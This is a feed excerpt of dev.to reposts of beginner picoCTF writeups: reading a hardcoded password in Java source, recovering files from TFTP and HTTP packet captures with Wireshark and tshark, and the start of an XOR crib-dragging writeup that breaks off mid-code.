&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/picoctf-vault-door-1-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>beginners</category>
    </item>
    <item>
      <title>PicoCTF Vault Door Training Writeup — Read a Password from Java Source</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Thu, 17 Sep 2026 20:16:02 +0000</pubDate>
      <link>https://dev.to/ctfdojo/picoctf-vault-door-training-writeup-read-a-password-from-java-source-kj9</link>
      <guid>https://dev.to/ctfdojo/picoctf-vault-door-training-writeup-read-a-password-from-java-source-kj9</guid>
      <description>&lt;p&gt;&lt;em&gt;The vault door's Java source code (&lt;code&gt;VaultDoorTraining.java&lt;/code&gt;) is provided directly — no need to decompile anything. The &lt;code&gt;checkPassword&lt;/code&gt; method compares user input to a hardcoded string in the file: you just have to read it.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; picoGym&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Rev Eng&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points:&lt;/strong&gt; 100 pts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Beginner&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; javacjavatext editor&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;The challenge provides a complete source file directly, &lt;code&gt;VaultDoorTraining.java&lt;/code&gt;, which simulates a vault door. Once compiled and run, the program asks the user to enter a password to "open" the door:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;java VaultDoorTraining
&lt;span class="go"&gt;Enter vault password: 
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No binary to disassemble, no bytecode to decompile — this is the softest possible starting point of the "Vault-Door" series: the source code is readable as-is.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — Read the code
&lt;/h2&gt;

&lt;p&gt;We open &lt;code&gt;VaultDoorTraining.java&lt;/code&gt; in a text editor. The overall structure looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;VaultDoorTraining&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;[])&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="nc"&gt;VaultDoorTraining&lt;/span&gt; &lt;span class="n"&gt;vaultDoor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;VaultDoorTraining&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="nc"&gt;Scanner&lt;/span&gt; &lt;span class="n"&gt;scanner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Scanner&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;in&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;print&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Enter vault password: "&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;userInput&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scanner&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;next&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
        &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;userInput&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;vaultDoor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;checkPassword&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Access granted."&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Access denied!"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;checkPassword&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="c1"&gt;// ... the verification logic is here&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We immediately spot the entry point: the &lt;code&gt;checkPassword(String password)&lt;/code&gt; method, called right after user input. This is what decides whether access is granted.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — Find the comparison
&lt;/h2&gt;

&lt;p&gt;Inside &lt;code&gt;checkPassword&lt;/code&gt;, there's no complex logic: just a simple comparison between the user input and a string literal hardcoded in the file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;checkPassword&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;equals&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"crackthevaultpassword123"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The expected password isn't encrypted, encoded, or obfuscated in any way — it's written plainly in the source code, like an ordinary variable.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 — Extract the password
&lt;/h2&gt;

&lt;p&gt;We just have to copy the string literal found inside &lt;code&gt;.equals("...")&lt;/code&gt;. This value is the password the program expects — and in this challenge, once entered correctly, the program directly prints the flag in &lt;code&gt;picoCTF{...}&lt;/code&gt; format as its success message.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4 — Verify (optional)
&lt;/h2&gt;

&lt;p&gt;To confirm, we compile and run the program locally with the JDK, then enter the password we found:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;javac VaultDoorTraining.java
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;java VaultDoorTraining
&lt;span class="go"&gt;Enter vault password: crackthevaultpassword123
Access granted.
picoCTF{...}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The success message confirms that reading the source code was enough — no advanced reverse engineering tools were needed for this first level of the series.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;🚩 picoCTF{ flag intentionally hidden }&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flag is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Hardcoding a secret in source code (even compiled) is never safe — anyone with access to the binary or bytecode can decompile it and read the value in plaintext&lt;/li&gt;
&lt;li&gt;This "Vault-Door" series is specifically designed to illustrate, step by step, checks that get increasingly hard to read at a glance&lt;/li&gt;
&lt;li&gt;The reflex of "search for &lt;code&gt;.equals(&lt;/code&gt; and suspicious string literals" is one of the very first static analysis tools in reverse engineering&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/picoctf-vault-door-training-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>beginners</category>
    </item>
    <item>
      <title>PicoCTF TFTP Writeup — Recover a File from a Wireshark Capture</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Mon, 14 Sep 2026 21:33:19 +0000</pubDate>
      <link>https://dev.to/ctfdojo/picoctf-tftp-writeup-recover-a-file-from-a-wireshark-capture-5ek4</link>
      <guid>https://dev.to/ctfdojo/picoctf-tftp-writeup-recover-a-file-from-a-wireshark-capture-5ek4</guid>
      <description>&lt;p&gt;&lt;em&gt;The capture contains a file transfer over the TFTP protocol (Trivial File Transfer Protocol). Wireshark can automatically reconstruct and export this file via its "Export Objects" menu, revealing the flag in the extracted file's content.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; picoGym&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Forensics&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points:&lt;/strong&gt; 150 pts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Beginner&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; Wiresharktsharkfile&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;We're given a &lt;code&gt;capture.pcap&lt;/code&gt; file. The challenge name, "Trivial Flag Transfer Protocol," is itself a play on &lt;strong&gt;TFTP&lt;/strong&gt; (Trivial File Transfer Protocol) — a clear hint about which protocol to look for in the capture, rather than searching blindly like in a typical HTTP challenge.&lt;/p&gt;

&lt;p&gt;TFTP is a minimalist file transfer protocol, historically used for network booting of equipment (PXE boot, router configuration, etc.). Unlike FTP, it runs over UDP, with no authentication and no encryption.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — Identify the protocol
&lt;/h2&gt;

&lt;p&gt;We open the capture in Wireshark and apply the display filter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tftp
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This confirms the presence of a complete TFTP exchange in the capture: a read request, followed by a series of data packets and their acknowledgments.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;No.   Time      Source       Destination   Protocol  Info
12    0.041002  10.0.2.15    10.0.2.20     TFTP      Read Request, File: secret_flag.txt, Transfer type: octet
14    0.052110  10.0.2.20    10.0.2.15     TFTP      Data Packet, Block: 1
15    0.052400  10.0.2.15    10.0.2.20     TFTP      Acknowledgement, Block: 1
16    0.061203  10.0.2.20    10.0.2.15     TFTP      Data Packet, Block: 2 (last)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can clearly see a &lt;strong&gt;Read Request (RRQ)&lt;/strong&gt; asking for the file &lt;code&gt;secret_flag.txt&lt;/code&gt;, followed by the &lt;code&gt;Data&lt;/code&gt; packets that contain the file's actual content, split into blocks of at most 512 bytes each.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — Export the file
&lt;/h2&gt;

&lt;p&gt;Rather than manually reassembling the file block by block, Wireshark offers a dedicated feature that does all the work automatically. From the menu:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;File → Export Objects → TFTP
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A window opens with the list of files Wireshark managed to reconstruct from the captured &lt;code&gt;Data&lt;/code&gt; packets — in our case, a single line appears:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Packet    Hostname    Content Type    Size    Filename
14        10.0.2.20   —               1.2 kB  secret_flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 3 — Save and open
&lt;/h2&gt;

&lt;p&gt;We select the entry and click "Save" to write the reconstructed file to disk. We then check its type before opening it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;file secret_flag.txt
secret_flag.txt: ASCII text

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;secret_flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 4 — Spot the flag
&lt;/h2&gt;

&lt;p&gt;The extracted file's content shows the flag directly in plaintext:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;picoCTF{***}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A command-line alternative, without going through the GUI, using &lt;code&gt;tshark&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;--export-objects&lt;/span&gt; tftp,out_dir
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls &lt;/span&gt;out_dir/
secret_flag.txt
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;out_dir/secret_flag.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;--export-objects tftp,out_dir&lt;/code&gt; command reproduces exactly the GUI's "Export Objects" menu behavior, but in a single line, which is handy for automating the analysis of multiple captures.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;🚩 picoCTF{ flag intentionally hidden }&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flag is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;TFTP is a file transfer protocol with no authentication or encryption — historically used for network booting, it should never carry sensitive data over an untrusted network&lt;/li&gt;
&lt;li&gt;Wireshark's "Export Objects" feature works for several protocols (HTTP, TFTP, SMB, DICOM...) and saves you from rebuilding a file by hand block by block&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;tshark&lt;/code&gt; reproduces these same exports from the command line, which is valuable for scripting the analysis of multiple captures&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/picoctf-tftp-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>forensics</category>
    </item>
    <item>
      <title>PicoCTF Wireshark Doo Dooo Writeup — Extract a Flag from an HTTP Capture</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Sun, 13 Sep 2026 20:37:02 +0000</pubDate>
      <link>https://dev.to/ctfdojo/picoctf-wireshark-doo-dooo-writeup-extract-a-flag-from-an-http-capture-3f8k</link>
      <guid>https://dev.to/ctfdojo/picoctf-wireshark-doo-dooo-writeup-extract-a-flag-from-an-http-capture-3f8k</guid>
      <description>&lt;p&gt;&lt;em&gt;A &lt;code&gt;.pcap&lt;/code&gt; file is provided. Filtering on the HTTP protocol and following the TCP stream (Follow → TCP Stream) of the relevant request, the flag appears in plaintext in the response body.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; picoGym&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Forensics&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points:&lt;/strong&gt; 100 pts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Beginner&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; Wiresharktshark&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;The challenge provides a single &lt;code&gt;capture.pcap&lt;/code&gt; file, with no hint besides the somewhat absurd challenge title. It's a classic network analysis intro: we're given a raw capture and have to find the flag hidden somewhere in the traffic exchanged.&lt;/p&gt;

&lt;p&gt;A &lt;code&gt;.pcap&lt;/code&gt; capture (Packet CAPture) contains every network frame observed during a session — Ethernet, IP, TCP/UDP headers, and the application data traveling on top. Without encryption, everything that transits is readable by anyone holding the capture.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — Open the capture
&lt;/h2&gt;

&lt;p&gt;We launch Wireshark and load the provided file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;wireshark capture.pcap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The packet list that appears is dense: dozens, even hundreds of frames — ARP, DNS, TCP, HTTP, plus local-network background noise. Impossible to spot the flag by eye in this flood without filtering.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — Filter on HTTP
&lt;/h2&gt;

&lt;p&gt;In the display filter bar at the top of the window, we simply type:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;http
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This filter only keeps packets containing an HTTP request or response (the underlying TCP transport protocol stays invisible, but Wireshark isolates the application layer we care about). The list immediately shrinks to a handful of lines: a few &lt;code&gt;GET&lt;/code&gt;s, and their associated &lt;code&gt;200 OK&lt;/code&gt; responses.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;No.   Time      Source          Destination     Protocol  Info
142   1.203411  10.0.2.15       104.20.3.44     HTTP      GET /page.php?flag=1 HTTP/1.1
158   1.401022  104.20.3.44     10.0.2.15       HTTP      HTTP/1.1 200 OK  (text/html)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 3 — Follow the TCP stream
&lt;/h2&gt;

&lt;p&gt;We spot the most promising &lt;code&gt;200 OK&lt;/code&gt; response (the one that actually contains text content, not just an image or a favicon). Right-click on it, then:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Follow → TCP Stream
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wireshark then opens a new window that reconstructs the entire TCP conversation between the client and server — the full request sent by the client (&lt;code&gt;GET&lt;/code&gt;, &lt;code&gt;Host&lt;/code&gt;, &lt;code&gt;User-Agent&lt;/code&gt;... headers) and the full response returned by the server (response headers, then the HTML body).&lt;/p&gt;

&lt;p&gt;Tip: if the stream contains several HTTP objects mixed together, the &lt;code&gt;Follow → HTTP Stream&lt;/code&gt; option is even more targeted — it isolates the HTTP exchanges directly, without the noise of TCP acknowledgments.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4 — Spot the flag
&lt;/h2&gt;

&lt;p&gt;In the reconstructed stream window, we use search (&lt;code&gt;Ctrl+F&lt;/code&gt;) to look directly for the string &lt;code&gt;picoCTF{&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt; &lt;span class="m"&gt;200&lt;/span&gt; &lt;span class="ne"&gt;OK&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;text/html; charset=UTF-8&lt;/span&gt;
&lt;span class="na"&gt;Content-Length&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;46&lt;/span&gt;

picoCTF{***}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The flag is returned as-is in the response body — no encryption, no encoding, nothing to decode. It was just a matter of knowing where to look.&lt;/p&gt;

&lt;p&gt;A command-line alternative, without the GUI, using &lt;code&gt;tshark&lt;/code&gt; (Wireshark's CLI sibling):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; capture.pcap &lt;span class="nt"&gt;-Y&lt;/span&gt; http &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="nt"&gt;-e&lt;/span&gt; http.file_data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command filters HTTP packets (&lt;code&gt;-Y http&lt;/code&gt;) and extracts only the &lt;code&gt;http.file_data&lt;/code&gt; field (the response bodies), which surfaces the flag directly in the terminal without having to open the GUI.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;🚩 picoCTF{ flag intentionally hidden }&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flag is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Unencrypted HTTP traffic (no TLS) exposes its entire content to anyone intercepting the capture — this is exactly why HTTPS is now the standard everywhere, even for "unimportant" content&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;http&lt;/code&gt; display filter combined with &lt;code&gt;Follow → TCP/HTTP Stream&lt;/code&gt; is the go-to move for any network forensics challenge&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;tshark&lt;/code&gt; lets you automate the same analysis from the command line, useful for scripting or handling very large captures&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/picoctf-wireshark-doo-dooo-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>forensics</category>
    </item>
    <item>
      <title>PicoCTF Easy1 Writeup — Recover an XOR Key with Crib Dragging</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Sat, 12 Sep 2026 20:47:36 +0000</pubDate>
      <link>https://dev.to/ctfdojo/picoctf-easy1-writeup-recover-an-xor-key-with-crib-dragging-3p8o</link>
      <guid>https://dev.to/ctfdojo/picoctf-easy1-writeup-recover-an-xor-key-with-crib-dragging-3p8o</guid>
      <description>&lt;p&gt;&lt;em&gt;The flag is XOR-encrypted with a short repeating key. Since we know every picoCTF flag starts with &lt;code&gt;picoCTF{&lt;/code&gt;, we XOR that known text ("crib") with the beginning of the ciphertext to recover the first bytes of the key, then complete the key by finding the repeating pattern.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; picoGym&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Cryptography&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points:&lt;/strong&gt; 200 pts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Intermediate&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technique:&lt;/strong&gt; XOR, crib dragging&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;The challenge provides a hex-encoded ciphertext file, along with the Python script used to encrypt it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;KEY&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="err"&gt;???&lt;/span&gt;  &lt;span class="c1"&gt;# unknown, short key
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;encrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
